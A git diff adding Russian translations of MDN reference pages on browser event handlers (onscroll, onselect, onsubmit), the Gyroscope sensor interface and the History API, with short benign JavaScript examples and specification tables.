diff --git a/files/ru/web/api/globaleventhandlers/onscroll/index.html b/files/ru/web/api/globaleventhandlers/onscroll/index.html new file mode 100644 index 0000000000..a62384b132 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onscroll/index.html @@ -0,0 +1,80 @@ +--- +title: GlobalEventHandlers.onscroll +slug: Web/API/GlobalEventHandlers/onscroll +translation_of: Web/API/GlobalEventHandlers/onscroll +--- +
{{ApiRef("HTML DOM")}}
+ +

Обработчик для события скролла.

+ +

Syntax

+ +
element.onscroll = functionReference
+
+ +

Parameters

+ +

functionReference is a reference to a function to be executed when element is scrolled.

+ +

Example

+ +
<!DOCTYPE html>
+<html lang="en">
+  <head>
+  <meta charset="UTF-8" />
+  <style>
+  #container {
+    position: absolute;
+    height: auto;
+    top: 0;
+    bottom: 0;
+    width: auto;
+    left: 0;
+    right: 0;
+    overflow: auto;
+  }
+
+  #foo {
+    height:1000px;
+    width:1000px;
+    background-color: #777;
+    display: block;
+  }
+
+  </style>
+  </head>
+  <body>
+    <div id="container">
+      <div id="foo"></div>
+    </div>
+
+    <script type="text/javascript">
+      document.getElementById('container').onscroll = function() {
+        console.log("scrolling");
+      };
+    </script>
+  </body>
+</html>
+ +

Notes

+ +

The scroll event is raised when the user scrolls the contents of an element. Element.onscroll is equivalent to element.addEventListener("scroll" ... ).

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}{{Spec2("DOM3 Events")}}Initial definition
diff --git a/files/ru/web/api/globaleventhandlers/onselect/index.html b/files/ru/web/api/globaleventhandlers/onselect/index.html new file mode 100644 index 0000000000..0244069e4d --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onselect/index.html @@ -0,0 +1,72 @@ +--- +title: GlobalEventHandlers.onselect +slug: Web/API/GlobalEventHandlers/onselect +translation_of: Web/API/GlobalEventHandlers/onselect +--- +
+
{{ ApiRef("HTML DOM") }}
+
+ +

Обработчик события select окна браузера.

+ +

Синтаксис

+ +
window.onselect = funcRef;
+
+ + + +

Пример

+ +
<html>
+<head>
+
+<title>onselect test</title>
+
+<style type="text/css">
+.text1 { border: 2px solid red; }
+</style>
+
+<script type="text/javascript">
+
+window.onselect = selectText;
+
+function selectText()
+{
+ alert("select event detected!");
+}
+</script>
+</head>
+
+<body>
+<textarea class="text1" cols="30" rows="3">
+Highlight some of this text
+with the mouse pointer
+to fire the onselect event.
+</textarea>
+</body>
+</html>
+
+ +

Замечание

+ +

Событие select происходит только, когда текст выделяют в поле input с type='text' или в поле textarea. Событие происходит только после того, как текст будет выделен.

+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onselect','onselect')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/ru/web/api/globaleventhandlers/onsubmit/index.html b/files/ru/web/api/globaleventhandlers/onsubmit/index.html new file mode 100644 index 0000000000..35b3a7d1f0 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onsubmit/index.html @@ -0,0 +1,65 @@ +--- +title: GlobalEventHandlers.onsubmit +slug: Web/API/GlobalEventHandlers/onsubmit +translation_of: Web/API/GlobalEventHandlers/onsubmit +--- +
{{ApiRef("HTML DOM")}}
+ +

Обработчик события отправки формы

+ +

Синтаксис

+ +
window.onsubmit = funcRef;
+
+ +

Параметры

+ + + +

Пример

+ +
<html>
+<script>
+function reg() {
+  window.captureEvents(Event.SUBMIT);
+  window.onsubmit = hit;
+}
+
+function hit() {
+  console.log('hit');
+}
+</script>
+
+<body onload="reg();">
+<form>
+  <input type="submit" value="submit" />
+</form>
+<div id="d"> </div>
+</body>
+</html>
+
+ +

Замечания

+ +

Событие submit возникает, когда пользователь кликает на кнопку "Отправить" в форме (<input type="submit"/>)

+ +

Событие submit не возникает, когда пользователь вызывает функцию form.submit() напрямую

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/ru/web/api/gyroscope/index.html b/files/ru/web/api/gyroscope/index.html new file mode 100644 index 0000000000..acb3658d59 --- /dev/null +++ b/files/ru/web/api/gyroscope/index.html @@ -0,0 +1,71 @@ +--- +title: Gyroscope +slug: Web/API/Gyroscope +translation_of: Web/API/Gyroscope +--- +
{{APIRef("Gyroscope")}}
+ +

Gyroscope интерфейс Sensor API дает возможность считать позицию устройства по всем трем осям.

+ +

Для использования того сенсора пользователю нужно предоставить доступ устройства к 'gyroscope' через {{domxref('Permissions')}} API.

+ +

If a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. This is not something that would ever be shown to a user. See {{httpheader('Feature-Policy')}} for implementation instructions.

+ +

Конструктор

+ +
+
{{domxref("Gyroscope.Gyroscope()")}}
+
Создание нового Gyroscope объекта.
+
+ +

Свойства

+ +
+
{{domxref('Gyroscope.x')}} {{readonlyinline}}
+
Возвращает угловое отклонение устройства по оси X.
+
{{domxref('Gyroscope.y')}} {{readonlyinline}}
+
Возвращает угловое отклонение устройства по оси Y.
+
{{domxref('Gyroscope.z')}} {{readonlyinline}}
+
Возвращает угловое отклонение устройства по оси Z.
+
+ +

Примеры

+ +

Гироскоп обычно использует {{domxref('Sensor.onreading')}} событие для вызова callback-функции. В примере ниже функция вызывается 6 раз в секуунду.

+ +
let gyroscope = new Gyroscope({frequency: 60});
+
+gyroscope.addEventListener('reading', e => {
+  console.log("Angular velocity along the X-axis " + gyroscope.x);
+  console.log("Angular velocity along the Y-axis " + gyroscope.y);
+  console.log("Angular velocity along the Z-axis " + gyroscope.z);
+});
+gyroscope.start();
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Generic Sensor')}}{{Spec2('Generic Sensor')}}Defines sensors in general.
{{SpecName('Gyroscope','#gyroscope-interface','Gyroscope')}}{{Spec2('Gyroscope')}}Initial definition.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Gyroscope")}}

diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html new file mode 100644 index 0000000000..6612072c73 --- /dev/null +++ b/files/ru/web/api/history/go/index.html @@ -0,0 +1,88 @@ +--- +title: History.go() +slug: Web/API/History/go +tags: + - API + - History API + - История + - Определение + - метод +translation_of: Web/API/History/go +--- +
{{APIRef("History API")}}
+ +

Метод History.go() выполняет переход на определенную страницу в истории текущей сессии. С его помощью можно перемещаться как вперед, так и назад, в зависимости от значения параметра.

+ +

Данный метод является {{glossary("asynchronous", "асинхронным")}}. Добавьте обработчик для события {{event("popstate")}}, чтобы определить, когда переход закончен.

+ +

Синтаксис

+ +
history.go([delta])
+ +

Параметры

+ +
+
delta {{optional_inline}}
+
Относительное положение в истории, куда вы хотите переместиться. Отрицательные значения перемещают назад, а положительные -- вперед. Например, history.go(2) перемещает вперед на 2 страницы, а history.go(-2) перемещает на 2 страницы назад. Если метод вызван без параметра или же delta равна 0, результат выполнения будет такой же, как у location.reload().
+
+ +

Примеры

+ +

Перемещение на 1 страницу назад (аналог вызова {{domxref("History.back", "back()")}}):

+ +
history.go(-1)
+ +

Перемещение на страницу вперед, как {{domxref("History.forward", "forward()")}}:

+ +
history.go(1)
+ +

Перемещение на 2 страницы вперед:

+ +
history.go(2);
+ +

Перемещение на 2 страницы назад:

+ +
history.go(-2);
+ +

Также, оба этих вызова перезагрузят страницу:

+ +
history.go();
+history.go(0);
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("HTML WHATWG", "history.html#dom-history-go", "History.go()")}}{{Spec2("HTML WHATWG")}}Не отличается от {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-go", "History.go()")}}{{Spec2("HTML5 W3C")}}Изначальное определение.
+ +

Совместимость

+ + + +

{{Compat("api.History.go")}}

+ +

See also

+ + diff --git a/files/ru/web/api/history/index.html b/files/ru/web/api/history/index.html new file mode 100644 index 0000000000..dd1a3fe80c --- /dev/null +++ b/files/ru/web/api/history/index.html @@ -0,0 +1,135 @@ +--- +title: History +slug: Web/API/History +translation_of: Web/API/History +--- +

{{ APIRef("HTML DOM") }}

+ +

History интерфейс позволяет манипулировать историей браузера в пределах сессии, а именно историей о посещенных страницах в пределах вкладки или фрейма загруженного внутри страницы. 

+ +

Свойства

+ +

History интерфейс не наследует никакие родительские свойства.

+ +
+
{{domxref("History.length")}} {{readOnlyInline}}
+
Возвращает целочисленное значение типа Integer, которое характерезует собой количество записей в истории сессии, включая текущую загруженную страницу. Для примера, история новой вкладки с загруженной страницей равна 1.
+
{{domxref("History.current")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}
+
Возвращает {{domxref ("DOMString")}}, представляющий собой активный URL элемент в истории сесcии. Это свойство никогда не было доступно для веб-контента и более не поддерживается никакими браузерами. Используйте {{domxref ("location.href")}} вместо него.
+
{{domxref("History.next")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}
+
Возвращает {{domxref ("DOMString")}}, представляющий собой следующий URL элемент в истории сессии. Это свойство никогда не было доступно для веб-контента и более не поддерживается другими браузерами.
+
{{domxref("History.previous")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}
+
Возвращает {{domxref ("DOMString")}}, представляющий собой предыдущий URL элемент в истории сессии. Это свойство никогда не было доступно для веб-контента и более не поддерживается другими браузерами.
+
{{domxref("History.state")}} {{readOnlyInline}} {{ gecko_minversion_inline("2.0")}}
+
Возвращает какое-либо значение, представляющее собой состояние в вершине истории стека. Это способ посмотреть на состояние без ожидания {{event("popstate")}} события.
+
+ +

Методы

+ +

History интерфейс не наследует никаких родительских методов.

+ +
+
{{domxref("History.back()")}}
+
Делает вызов предыдущей страницы из истории, если она существует. Эквивалент метода history.go(-1). +
Примечание: Вызов этого метода, чтобы вернуться к первой странице в истории сессии не имеет никакого эффекта и не вызывает исключений.
+
+
{{domxref("History.forward()")}}
+
Переход к следующей странице в истории сессии, то же самое действие, как и при нажатии пользователем кнопки Forward в браузере. Эквивалентно history.go(1). +
Примечание: Вызов этого метода, чтобы перейти  к последней странице в истории сессии не имеет никакого эффекта и не вызывает исключений.
+
+
{{domxref("History.go()")}}
+
+

Загружает страницу из истории сессии, определяя ее положение относительно текущей страницы, например: -1 для предыдущей страницы или 1 для следующей страницы. Когда integerDelta выходит за предел (например, -1, когда нет ранее посещенных страниц в истории сессии), метод не делает ничего, и не вызывает исключение. Вызов Go () без параметров или с не целочисленным аргументом не имеет никакого эффекта (в отличие от Internet Explorer, который поддерживает строки URL в качестве аргумента).

+
+
{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}
+
Помещает полученные данные в стек истории сессии с определенным заголовком и, при наличии , URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см. управление историей браузера. +
Примечание: В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по алгоритму структурированного клонирования. Он позволяет передавать более широкое разнообразие объектов.
+
+
+ +
+
{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}
+
Обновляет последнюю запись в стеке истории содержащий определенные данные, заголовок и, при наличии, URL. Данные рассматриваются DOM как непрозрачные; Вы можете задать любой объект JavaScript, который может быть сериализован. Обратите внимание, что в настоящее время Firefox игнорирует параметр заголовка; для получения дополнительной информации см. управление историей браузера. +
Примечание: В Gecko 2.0 {{ geckoRelease("2.0") }} до Gecko 5.0 {{ geckoRelease("5.0") }}, передаваемый объект сериарилизовался в JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект обрабатывается по алгоритму структурированного клонирования. Он позволяет передавать более широкое разнообразие объектов.
+
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

 

+ +

Смотрите так же

+ + diff --git a/files/ru/web/api/history/length/index.html b/files/ru/web/api/history/length/index.html new file mode 100644 index 0000000000..5dc9ef4fb2 --- /dev/null +++ b/files/ru/web/api/history/length/index.html @@ -0,0 +1,105 @@ +--- +title: History.length +slug: Web/API/History/length +tags: + - API + - HTML + - History API + - Read-only + - WebAPI + - Свойство + - Справка +translation_of: Web/API/History/length +--- +
{{ APIRef("HTML DOM") }}
+ +

History.length — это свойство объекта History, доступное только для чтения, которое возвращает число (Integer), обозначающее количество элементов в истории сессии, в том числе для загруженной страницы. Например, если открыть страницу в новой вкладке это свойство вернёт 1.

+ +

Синтаксис

+ +
length = history.length;
+
+ +

Примеры

+ +
var result = window.history.length; // Вернёт размер истории текущей сессии
+ +

 

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}{{Spec2('HTML WHATWG')}}Нет изменений в {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}{{Spec2('HTML5 W3C')}}Начальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/history/pushstate/index.html b/files/ru/web/api/history/pushstate/index.html new file mode 100644 index 0000000000..6921944187 --- /dev/null +++ b/files/ru/web/api/history/pushstate/index.html @@ -0,0 +1,146 @@ +--- +title: History.pushState() +slug: Web/API/History/pushState +tags: + - API + - HTML DOM + - Web + - метод +translation_of: Web/API/History/pushState +--- +

{{APIRef("DOM")}}

+ +

В HTML документе метод history.pushState() добавляет новое состояние в историю браузера

+ +

Синтаксис

+ +
history.pushState(state, title[, url])
+
+ +

Параметры

+ +

state object 

+ +
+
Объект состояния – это JavaScript-объект, связанный с новой записью в истории, созданной pushState(). Всякий раз, когда пользователь переходит к новому состоянию, происходит событие popstate, а свойство state этого события содержит копию объекта состояния с записями истории.
+
Объект состояния может быть чем угодно, что может быть сериализовано. Поскольку Firefox сохраняет объекты состояния на диске пользователя, чтобы их можно было восстановить после перезапуска браузера, мы накладываем ограничение в 640 тысяч символов на сериализованное представление объекта состояния. Если вы передаёте объект состояния, чьё сериализованное представление больше этого значения, метод pushState() выдаст исключение. Если вам нужно хранилище большего размера, следует рассмотреть использование sessionStorage и/или localStorage.
+
+ +
+
title
+
Заголовок - все браузеры, кроме Safari, на данный момент игнорируют этот параметр, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояния, в которое переходите.
+
+ +
+
url {{optional_inline}}
+
Через этот параметр передаётся URL-адрес новой записи в истории. Обратите внимание, что браузер не будет пытаться загрузить данный URL сразу после вызова pushState(), но может попытаться сделать это позже, например, после того, как пользователь перезапустит браузер. Новый URL-адрес не обязан быть абсолютным; если он относительный, то определяется относительно текущего URL. Новый URL должен вести на тот же домен, протокол и порт, иначе pushState() выдаст исключение. Данный параметр не является обязательным; если он не указан, будет использоваться URL текущего документа.
+
+ +

Описание

+ +

Вызов pushState() в некоторой степени похож на установку window.location = "#foo", поскольку они оба также создают и активируют ещё одну запись в истории, связанную с текущим документом.

+ +

Но у pushState() есть несколько преимуществ:

+ + + +

Обратите внимание, что pushState() никогда не вызывает событие hashchange, даже если новый URL отличается от старого только хешем.

+ +

Примеры

+ +

Создание новой записи истории браузера, задавая state, title, и url.

+ +

JavaScript

+ +
const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "browsers.html#dom-history-pushstate", "History")}}{{Spec2('HTML WHATWG')}}Не изменён в {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-history-pushstate", "History")}}{{Spec2('HTML5 W3C')}}Начальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidAndroid WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/history/replacestate/index.html b/files/ru/web/api/history/replacestate/index.html new file mode 100644 index 0000000000..f7c7d4268a --- /dev/null +++ b/files/ru/web/api/history/replacestate/index.html @@ -0,0 +1,70 @@ +--- +title: History.replaceState() +slug: Web/API/History/replaceState +translation_of: Web/API/History/replaceState +--- +
{{APIRef("History API")}}
+ +

Метод History.replaceState() изменяет текущую запись в истории, заменяя её на значения stateObj, title и URL, передаваемые в параметрах метода. Данный метод особенно полезен, когда вы хотите обновить объект состояния или URL текущей записи в истории в ответ на какое-то действие пользователя.

+ +

Синтаксис

+ +
history.replaceState(stateObj, title, [url])
+ +

Параметры

+ +
+
stateObj
+
Объект состояния – это JavaScript-объект, связанный с записью в истории, переданной в метод replaceState(). Объект состояния может быть null.
+
title
+
Заголовок - все браузеры, кроме Safari, на данный момент игнорируют этот параметр, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояни, в которое переходите.
+
url {{optional_inline}}
+
URL-адрес записи в истории. Новый URL должен вести на тот же домен, протокол и порт, иначе pushState() выдаст исключение.
+
+ +

Примеры

+ +

Предположим, на странице http://mozilla.org/foo.html выполняется следующий JavaScript-код:

+ +
let stateObj = { foo: "bar" }
+history.pushState(stateObj, "page 2", "bar.html")
+
+ +

Объяснение этих двух строк можно найти в приведённом выше разделе пример метода pushState().

+ +

Далее, предположим, на странице http://mozilla.org/bar.html выполняется JavaScript-код:

+ +
history.replaceState(stateObj, "page 3", "bar2.html")
+
+ +

Это приведёт к тому, что в URL-строке отобразится адрес http://mozilla.org/bar2.html, но браузер не станет сразу загружать bar2.html и даже не станет проверять наличие этой страницы bar2.html.

+ +

Теперь предположим, что пользователь переходит по адресу http://www.microsoft.com, а затем нажимает на кнопку "Назад". В этом случае в URL-строке отобразится http://mozilla.org/bar2.html. Если же пользователь снова нажмёт на кнопку "Назад", в URL-строке отобразится http://mozilla.org/foo.html и полностью обойдёт bar.html.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "history.html#dom-history-replacestate", "History.replaceState()")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "history.html#dom-history-replacestate", "History.replaceState()")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.History.replaceState")}}

diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html new file mode 100644 index 0000000000..3faaa8676a --- /dev/null +++ b/files/ru/web/api/history/state/index.html @@ -0,0 +1,65 @@ +--- +title: History.state +slug: Web/API/History/state +translation_of: Web/API/History/state +--- +
{{APIRef("History API")}}
+ +
Свойство History.state возвращает значение последнего состояния стека истории (history stack). Этим способом можно проверить состояние не дожидаясь события {{event("popstate")}}.
+ + + +

Синтаксис

+ +
const currentState = history.state
+ +

Значение

+ +

Последнее состояние стека истории. Значение равно {{jsxref("null")}} до тех пор, пока не будет применен метод {{domxref("History.pushState","pushState()")}} или {{domxref("History.replaceState","replaceState()")}}.

+ +

Примеры

+ +

Код, приведенный ниже, выводит в консоль значение history.state до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.

+ +
// Выведет null потому что мы пока не изменяли стек истории
+console.log(`History.state before pushState: ${history.state}`);
+
+// Теперь запишем какое-нибудь значение в стек
+history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+
+// Выведет значение history.state, которое было записано в предыдущей строке
+console.log(`History.state after pushState: ${history.state}`);
+ +

СпецификацииE

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-history-state", "History.state")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#dom-history-state", "History.state")}}{{Spec2("HTML5 W3C")}}Изначальное определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.History.state")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html new file mode 100644 index 0000000000..2238486e34 --- /dev/null +++ b/files/ru/web/api/history_api/index.html @@ -0,0 +1,119 @@ +--- +title: History API +slug: Web/API/History_API +tags: + - API + - DOM + - HTML5 + - История +translation_of: Web/API/History_API +--- +

{{DefaultAPISidebar("History API")}}
+ DOM-объект {{DOMxRef("Window")}} предоставляет доступ к истории текущей сессии браузера (не путать с историей браузерных расширений) через объект {{DOMxRef("Window.history","history")}}. Он предоставляет полезные методы и свойства, которые позволяют переходить назад и вперёд по истории пользователя и манипулировать её содержимым.

+ +

Понятия и использование

+ +

Перемещение назад и вперёд по истории пользователя выполняется с помощью методов {{DOMxRef("History.back","back()")}}, {{DOMxRef("History.forward","forward()")}}, и {{DOMxRef("History.go","go()")}}.

+ +

Перемещение вперёд и назад

+ +

Чтобы переместиться назад по истории:

+ +
window.history.back();
+
+ +

Данный метод работает так, будто пользователь нажал на кнопку "Назад" на панели браузера.
+ Похожим образом можно переместиться вперед (как если бы пользователь нажал на кнопку "Вперед"):

+ +
window.history.forward();
+
+ +

Перемещение к определённой странице в истории

+ +

Вы можете использовать метод {{DOMxRef("History.go","go()")}} для загрузки конкретной страницы из истории сессии, определяемой её позицией относительно текущей страницы. Относительная позиция текущей страницы равняется 0.

+ +

Вернуться на одну страницу назад (равноценно вызову {{DOMxRef("History.back","back()")}}):

+ +
window.history.go(-1);
+
+ +

Перейти на одну страницу вперёд (равноценно вызову {{DOMxRef("History.forward","forward()")}})

+ +
window.history.go(1);
+
+ +

По такому же принципу, можно перемещаться вперед на 2 страницы, передавая аргумент 2, и так далее.

+ +

Кроме того, метод go() можно использовать для обновления текущей страницы, передавая аргумент 0 или вызывая его без аргументов:

+ +
// Обе следующих инструкции обновляют текущую страницу
+window.history.go(0)
+window.history.go()
+ +

Узнать количество страниц, которые находятся в стеке истории, можно, получив значение свойства length:

+ +
var numberOfEntries = window.history.length;
+
+ +

Интерфейсы

+ +
+
{{domxref("History")}}
+
Позволяет манипулировать историей сессии браузера (то есть, страницами, посещёнными в той же закладке, что и текущая страница.
+
+ +

Примеры

+ +

В следующем примере свойству onpopstate назначается обработчик. А затем приводятся некоторые методы объекта истории для добавления, замени и перемещения по истории текущей вкладки браузера

+ +
window.onpopstate = function(event) {
+  alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
+}
+
+history.pushState({page: 1}, "title 1", "?page=1")
+history.pushState({page: 2}, "title 2", "?page=2")
+history.replaceState({page: 3}, "title 3", "?page=3")
+history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back() // alerts "location: http://example.com/example.html, state: null"
+history.go(2)  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}{{Spec2('HTML WHATWG')}}Нет изменений по сравнению с {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}{{Spec2('HTML5 W3C')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{Compat("api.History")}}

+ +

Смотрите также

+ +

Справочники

+ + + +

Руководства

+ + diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html new file mode 100644 index 0000000000..b1bf87726a --- /dev/null +++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html @@ -0,0 +1,129 @@ +--- +title: Работа с History API +slug: Web/API/History_API/Working_with_the_History_API +translation_of: Web/API/History_API/Working_with_the_History_API +--- +

В HTML5 стали доступны методы {{DOMxRef("History.pushState","pushState()")}} и {{DOMxRef("History.replaceState","replaceState()")}} для добавления и изменения записей в истории. Эти методыработают в сочетании с событием {{domxref("Window.onpopstate","onpopstate")}}

+ +

Добавление и изменение записей в истории

+ +

{{ gecko_minversion_header("2") }}

+ +

{{DOMxRef("History.pushState","pushState()")}} позволяет изменить referrer, который используется в HTTP-заголовке для {{domxref("XMLHttpRequest")}} объектов, созданных после изменения состояния. Значением referrer будет URL документа, окно которого является this на момент создания {{domxref("XMLHttpRequest")}} объекта.

+ +

Пример метода pushState()

+ +

Предположим, на странице http://mozilla.org/foo.html выполняется следующий JavaScript-код:

+ +
let stateObj = {
+    foo: "bar",
+}
+
+history.pushState(stateObj, "page 2", "bar.html")
+
+ +

В результате этого в URL-строке отобразится адрес http://mozilla.org/bar.html, но браузер не будет загружать страницу bar.html и даже не будет проверять, существует ли она..

+ +

Теперь предположим, что пользователь перешел по адресу http://google.com и затем нажал на кнопку "Назад". В результате этого в URL будет отображаться http://mozilla.org/bar.html, а history.state будет содержать stateObj. Событие popstate не будет вызвано, поскольку страница была перезагружена. Сама страница будет выглядеть как bar.html.

+ +

Если пользователь ещё раз нажимает кнопку "Назад", URL изменится на http://mozilla.org/foo.html, а в документе снова произойдёт событие popstate, на этот раз с объектом состояния, имеющим значение null. В этом случае возврат назад также не меняет содержимое документа, как и на предыдущем шаге, хотя документ может сам обновить своё содержимое после получения события popstate.

+ +
+

Примечание: Вызов history.back() обычно ведёт себя так же, как нажатие на кнопку "Назад". Но есть одно важное исключение:

+ +

После использования history.pushState(), вызов history.back() не вызывает событие popstate. Нажатие в браузере на кнопку "Назад" (всё ещё) делает это.

+
+ +

Метод pushState()

+ +

Метод pushState() принимает три параметра: объект состояния, заголовок (в данный момент игнорируется) и (необязательно) параметр "URL".

+ +

Давайте более подробно рассмотрим каждый и этих трёх параметров.

+ +
+
state object 
+
Объект состояния – это JavaScript-объект, связанный с новой записью в истории, созданной pushState(). Всякий раз, когда пользователь переходит к новому состоянию, происходит событие popstate, а свойство state этого события содержит копию объекта состояния с записями истории.
+
Объект состояния может быть чем-угодно, что может быть сериализовано. Поскольку Firefox сохраняет объекты состояния на диске пользователя, чтобы их можно было восстановить после перезапуска браузера, мы накладываем ограничение в 640 тысяч символов на сериализованное представление объекта состояния. Если вы передаёте объект состояния, чьё сериализованное представление больше этого значения, метод pushState() выдаст исключение. Если вам нужно хранилище большего размера, следует рассмотреть использование sessionStorage и/или localStorage.
+
+ +
+
title
+
Заголовок - все браузеры, кроме Safari, на данный момент игнорируют этот параметр, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояни, в которое переходите.
+
+ +
+
URL
+
Через этот параметр передаётся URL-адрес новой новый записи в истории. Обратите внимание, что браузер не будет пытаться загрузить данный URL сразу после вызова pushState(), но может попытаться сделать это позже, например, после того, как пользователь перезапустит браузер. Новый URL-адрес не обязан быть абсолютным; если он относительный, то определяется относительно текущего URL. Новый URL должен вести на тот же домен, протокол и порт, иначе pushState() выдаст исключение. Данный параметр не является обязательным; если он не указан, будет использоваться URL текущего документа.
+
+ +
Примечание: Начиная с Gecko 2.0 {{ geckoRelease("2.0") }} и до Gecko 5.0 {{ geckoRelease("5.0") }}, переданный объект сериализуется с помощью JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект сериализуется с помощью алгоритма структурированного клонирования. Это позволяет безопасно передавать более широкий спектр объектов.
+ +

